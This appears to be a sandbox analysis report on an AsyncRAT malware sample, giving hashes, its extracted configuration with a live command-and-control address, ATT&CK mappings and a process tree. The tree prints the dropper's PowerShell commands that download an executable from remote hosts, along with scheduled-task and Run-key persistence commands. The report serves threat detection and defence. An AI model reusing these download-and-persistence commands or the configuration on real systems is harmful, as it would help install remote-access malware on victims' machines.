asyncrat | d1fba2d16b292e393bae1e2a292741a076b06c89e7254ecba7ab087d8bb496fb

General

Target

sample.exe
Size

510KB
MD5

2b19d65705eee546214513fb65948b2a
SHA1

20b6c01b9f20047fc9f3bf9baa14b5046cbc0012
SHA256

106dc2ab6da5448b983e66c7c6850533006abf9176eb6ee3d58e101b83d8d47f
SHA512

183bb9331b20d2f4118820bd372e5202220e29cfea2d5ae5fedd8d1a9bfaf548a9399aa604950553948899a1d75658e64480c660ce7f83bb89cd566e1385eb72
SSDEEP

6144:+ldk1cWQRNTB2/Me7eC9g1HGnKBvYfew0PjZmwvhhlJdZBuUwXtgZcJeJ:+cv0NTg/XrRnKBwfOM0dayZKeJ

Score

10^/10

asyncrat default discovery execution persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

192.228.105.2:7707

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
true
install_file
svchst.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2216-43-0x0000000005150000-0x0000000005162000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1144	powershell.exe
28	1156	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1144	powershell.exe
1156	powershell.exe

Downloads MZ/PE file

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x0004000000022a93-33.dat	net_reactor
behavioral2/memory/2216-35-0x00000000003D0000-0x0000000000438000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	CoinAIfdp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	sample.exe

Executes dropped EXE 2 IoCs

pid	Process
2216	CoinAIfdp.exe
872	svchst.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CoinAi.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\CoinAIfdp.exe"	CoinAIfdp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CoinAi.exe = "C:\\Users\\Admin\\AppData\\Roaming\\svchst.exe"	svchst.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sample.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CoinAIfdp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4788	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2608	schtasks.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1144	powershell.exe
1144	powershell.exe
1156	powershell.exe
1156	powershell.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe
2216	CoinAIfdp.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	2216	CoinAIfdp.exe
Token: SeDebugPrivilege	872	svchst.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3816 wrote to memory of 1900	3816	sample.exe	86
PID 3816 wrote to memory of 1900	3816	sample.exe	86
PID 1900 wrote to memory of 1144	1900	cmd.exe	89
PID 1900 wrote to memory of 1144	1900	cmd.exe	89
PID 1900 wrote to memory of 1156	1900	cmd.exe	94
PID 1900 wrote to memory of 1156	1900	cmd.exe	94
PID 1900 wrote to memory of 2216	1900	cmd.exe	95
PID 1900 wrote to memory of 2216	1900	cmd.exe	95
PID 1900 wrote to memory of 2216	1900	cmd.exe	95
PID 2216 wrote to memory of 1072	2216	CoinAIfdp.exe	107
PID 2216 wrote to memory of 1072	2216	CoinAIfdp.exe	107
PID 2216 wrote to memory of 1072	2216	CoinAIfdp.exe	107
PID 2216 wrote to memory of 3684	2216	CoinAIfdp.exe	109
PID 2216 wrote to memory of 3684	2216	CoinAIfdp.exe	109
PID 2216 wrote to memory of 3684	2216	CoinAIfdp.exe	109
PID 3684 wrote to memory of 4788	3684	cmd.exe	112
PID 3684 wrote to memory of 4788	3684	cmd.exe	112
PID 3684 wrote to memory of 4788	3684	cmd.exe	112
PID 1072 wrote to memory of 2608	1072	cmd.exe	111
PID 1072 wrote to memory of 2608	1072	cmd.exe	111
PID 1072 wrote to memory of 2608	1072	cmd.exe	111
PID 3684 wrote to memory of 872	3684	cmd.exe	113
PID 3684 wrote to memory of 872	3684	cmd.exe	113
PID 3684 wrote to memory of 872	3684	cmd.exe	113

C:\Users\Admin\AppData\Local\Temp\sample.exe
"C:\Users\Admin\AppData\Local\Temp\sample.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3816
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8117.tmp\8118.tmp\8119.bat C:\Users\Admin\AppData\Local\Temp\sample.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-WebRequest 'https://secured-order-download-businessportal.replit.app/CoinAIfdp.exe' -OutFile CoinAIfdp.exe"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1156
- - C:\Users\Admin\AppData\Local\Temp\CoinAIfdp.exe
    CoinAIfdp.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchst" /tr '"C:\Users\Admin\AppData\Roaming\svchst.exe"' & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1072
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "svchst" /tr '"C:\Users\Admin\AppData\Roaming\svchst.exe"'
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2608
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9DA2.tmp.bat""
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3684
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4788
    - - C:\Users\Admin\AppData\Roaming\svchst.exe
        
        "C:\Users\Admin\AppData\Roaming\svchst.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
49e7d5f2a296b59afec08bc314bed998

SHA1
7f898bf195ffd46ce2d19fad0ce33155f6e47f5f

SHA256
394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe

SHA512
f64579fdac0bfebad4c20ad575b8ea45136e295fba950da4cbf84402228a3897b2e2deb4eb4605deb5df93321b1dc15c8a878da36016d7e5e060182142fdf839

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
dea2d3fd66551ec95e5f7eeba057b20e

SHA1
ae8100a5520e289a265ad7c5c1be9c7506e91ece

SHA256
7fc62d39b61bc5c160c6351dfd9ce1836e90b8f9ecbb14540c325f4f21b8997f

SHA512
b6c082e570a0d1704de9b6d3a1c0d6809030e34f6e28e34f433aaa31e4cd43a1050ae1159c7b0f5cbbeea9d2828380b589a0f5f33d9f238f8f4d19000488b375

Download Submit
C:\Users\Admin\AppData\Local\Temp\8117.tmp\8118.tmp\8119.bat

Filesize
329B

MD5
91f265d84f2c400c6f731982fbc1dd26

SHA1
6d175c5694e58dd4d0ea55e77679de57105c6b0d

SHA256
ded4d515b9bcfdd3221da6239dc2fac799b129712ffcc1f92722a2c508a0c173

SHA512
4ea36db68fa533eb1b55d365abf400c9fc6cca8968b1950da2c02fd56f72b7a031583c8c730a4003354f2b010a879e94d15b80a3595e50581c72ad25c75bb67b

Download Submit
C:\Users\Admin\AppData\Local\Temp\CoinAIfdp.exe

Filesize
393KB

MD5
1b3e4783a56a59a811cbd437c6c34a18

SHA1
1c3c098d76f93570c6f72a815ee1e257da9e2a7f

SHA256
b92d49db7714fcadcfa107dbc3a37a12fa30e4aadebd1eb1d551ccfe61f638de

SHA512
c7ab45b5376677ce3484b2d575304fe23a38eb1491245d899e57c6491c999704318d6f5bf5b2fa560692bf52c531c4445f999e95269a1443323fccb73ac58e38

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0kom1lg.b4n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9DA2.tmp.bat

Filesize
150B

MD5
a61cf152119787e2aa32ba7f4d03224a

SHA1
d23c263bed05fa7b2fe2fce42100aa8c6621a6a3

SHA256
864dffe420ea0942eed41b7791c21c0a8edcc02e258ea7d522621689f9bbfd66

SHA512
e524043603b421bdcd12b67066fec33ea14b9b98bcab43df3ddeb0b7a9b191442af7784959d72735bb3700405ad32f2e7f70f9eb42bd71faf133b9a5115ba4bc

Download Submit
C:\Users\Admin\AppData\Roaming\WindowsCache1289fgbfbfgsdvdh=74937962458

Filesize
75KB

MD5
834cfe4c91e1aa48057f85f67999adc8

SHA1
2803f3605af8f9c1f34011060b1413792e57c258

SHA256
7e7039d296a5e761e4e8950966a05311d8b52055e31178eaa0b22e6aec51d85f

SHA512
0fef2021ac2e0eced4914ad022438caf116c2e93074fd36a498229094246bd29a320ba9d1b112f6994e7ab3a268e6a95371844ba78202afd45752ce4fc0dcd1c

Download Submit
memory/872-57-0x0000000006080000-0x00000000060E6000-memory.dmp

Filesize
408KB

Download
memory/872-56-0x0000000006630000-0x0000000006BD4000-memory.dmp

Filesize
5.6MB

Download
memory/1144-13-0x00007FFFF1060000-0x00007FFFF1B21000-memory.dmp

Filesize
10.8MB

Download
memory/1144-18-0x00007FFFF1060000-0x00007FFFF1B21000-memory.dmp

Filesize
10.8MB

Download
memory/1144-14-0x00007FFFF1060000-0x00007FFFF1B21000-memory.dmp

Filesize
10.8MB

Download
memory/1144-8-0x0000024E3FA60000-0x0000024E3FA82000-memory.dmp

Filesize
136KB

Download
memory/1144-2-0x00007FFFF1063000-0x00007FFFF1065000-memory.dmp

Filesize
8KB

Download
memory/2216-35-0x00000000003D0000-0x0000000000438000-memory.dmp

Filesize
416KB

Download
memory/2216-42-0x0000000004D60000-0x0000000004D73000-memory.dmp

Filesize
76KB

Download
memory/2216-43-0x0000000005150000-0x0000000005162000-memory.dmp

Filesize
72KB

Download
memory/2216-44-0x00000000059E0000-0x0000000005A7C000-memory.dmp

Filesize
624KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads